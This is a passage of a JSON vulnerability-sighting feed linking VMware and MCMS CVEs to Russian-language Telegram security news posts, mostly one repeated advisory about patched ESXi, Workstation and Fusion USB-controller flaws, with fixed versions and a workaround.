4.x.\n\nVMware \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442, \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-22280 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-07-11T20:47:28.000000Z"}, {"uuid": "7d6c9fc1-56e7-425b-9ccb-9dd6f3ab06fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10230", "content": "#exploit\nCVE-2024-22567:\nFile Upload vulnerability in MCMS 5.3.5", "creation_timestamp": "2024-03-28T15:27:46.000000Z"}, {"uuid": "956d583c-83a3-4f20-8e50-4c3c9cdb9cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22254", "type": "seen", "source": "https://t.me/true_secator/5493", "content": "VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 ESXi, Workstation \u0438 Fusion, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\nCVE-2024-22252 \u0438 CVE-2024-22253 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 XHCI \u0441  \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,3 (\u0434\u043b\u044f Workstation \u0438 Fusion) \u0438 8,4 (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c ESXi).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 VMX \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Ant Group Light-Year \u0438 QiAnXin.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0421VSS: 7,9: CVE-2024-22254 \u0438 CVE-2024-22255.\n\n\u041f\u0435\u0440\u0432\u0430\u044f\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 ESXi \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 VMX \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 UHCI \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 vmx.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0435, \u0441\u0440\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a (EoL): ESXi 6.5 -\u00a06.5U3\u0432; ESXi 6.7 -\u00a06.7U3u; ESXi 7.0 -\u00a0ESXi70U3p-23307199; ESXi 8.0 -\u00a0ESXi80U2sb-23305545\u00a0 \u0438\u00a0ESXi80U1d-23299997;  VMware Cloud Foundation (VCF) 3.x; Workstation 17.x - 17.5.1 \u0438 Fusion 13.x (macOS) - 13.5.1.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.", "creation_timestamp": "2024-03-06T14:09:12.000000Z"}, {"uuid": "f2bf1530-3668-4f1f-9b83-cb9825c036c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "https://t.me/true_secator/5493", "content": "VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 ESXi, Workstation \u0438 Fusion, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\nCVE-2024-22252 \u0438 CVE-2024-22253 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 XHCI \u0441  \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,3 (\u0434\u043b\u044f Workstation \u0438 Fusion) \u0438 8,4 (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c ESXi).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 VMX \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Ant Group Light-Year \u0438 QiAnXin.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0421VSS: 7,9: CVE-2024-22254 \u0438 CVE-2024-22255.\n\n\u041f\u0435\u0440\u0432\u0430\u044f\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 ESXi \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 VMX \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 UHCI \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 vmx.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0435, \u0441\u0440\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a (EoL): ESXi 6.5 -\u00a06.5U3\u0432; ESXi 6.7 -\u00a06.7U3u; ESXi 7.0 -\u00a0ESXi70U3p-23307199; ESXi 8.0 -\u00a0ESXi80U2sb-23305545\u00a0 \u0438\u00a0ESXi80U1d-23299997;  VMware Cloud Foundation (VCF) 3.x; Workstation 17.x - 17.5.1 \u0438 Fusion 13.x (macOS) - 13.5.1.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.", "creation_timestamp": "2024-03-06T14:09:12.000000Z"}, {"uuid": "ce002afc-afe4-43ed-a0c1-aabed03a3370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://t.me/true_secator/5493", "content": "VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 ESXi, Workstation \u0438 Fusion, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\nCVE-2024-22252 \u0438 CVE-2024-22253 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 XHCI \u0441  \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,3 (\u0434\u043b\u044f Workstation \u0438 Fusion) \u0438 8,4 (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c ESXi).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 VMX \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Ant Group Light-Year \u0438 QiAnXin.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u0421VSS: 7,9: CVE-2024-22254 \u0438 CVE-2024-22255.\n\n\u041f\u0435\u0440\u0432\u0430\u044f\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 ESXi \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 VMX \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 UHCI \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 vmx.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0435, \u0441\u0440\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a (EoL): ESXi 6.5 -\u00a06.5U3\u0432; ESXi 6.7 -\u00a06.7U3u; ESXi 7.0 -\u00a0ESXi70U3p-23307199; ESXi 8.0 -\u00a0ESXi80U2sb-23305545\u00a0 \u0438\u00a0ESXi80U1d-23299997;  VMware Cloud Foundation (VCF) 3.x; Workstation 17.x - 17.5.1 \u0438 Fusion 13.x (macOS) - 13.5.1.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 USB-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.", "creation_timestamp": "2024-03-06T14:09:12.000000Z"}, {"uuid": "735a48ce-c2d3-4448-8c1a-c46cb1c46d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/true_secator/5442", "content": "VMware \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0433\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u0430 VMware Enhanced Authentication Plug-in (EAP), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0434\u0432\u0443\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u0435\u0441\u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f vSphere \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u043c\u0430\u0440\u0442-\u043a\u0430\u0440\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows.\n\n\u0412\u0441\u0435 \u0434\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e VMware \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 EAP \u0435\u0449\u0435 \u0432 \u043c\u0430\u0440\u0442\u0435 2021 \u0433\u043e\u0434\u0430, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0432 